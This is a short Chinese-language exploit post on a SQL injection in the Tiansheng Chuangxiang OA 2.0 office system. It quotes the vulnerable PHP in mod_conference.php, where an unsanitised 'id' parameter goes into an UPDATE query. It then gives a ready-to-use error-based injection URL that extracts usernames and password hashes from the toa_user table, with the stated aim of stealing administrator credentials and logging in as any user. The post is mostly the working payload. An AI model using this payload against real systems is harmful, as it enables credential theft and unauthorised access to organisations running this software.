天生创想oa2.0前台用户sql注入

administrative/mod_conference.php [php] $id = getGP('id','G'); $type = getGP('type','G'); $db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." "); //带入sql语句 $content=$id; $title='审批会议内容'; [/php] 结合报错注入和获取管理员账号密码 登录任意一个用户 exp: [php] http://0day5.com//admin.php?ac=conference&fileurl=administrative&do=keys&id=123%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20distinct%20concat%28username,password%29%20FROM%20toa_user%20LIMIT%200,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29[/php]

发表评论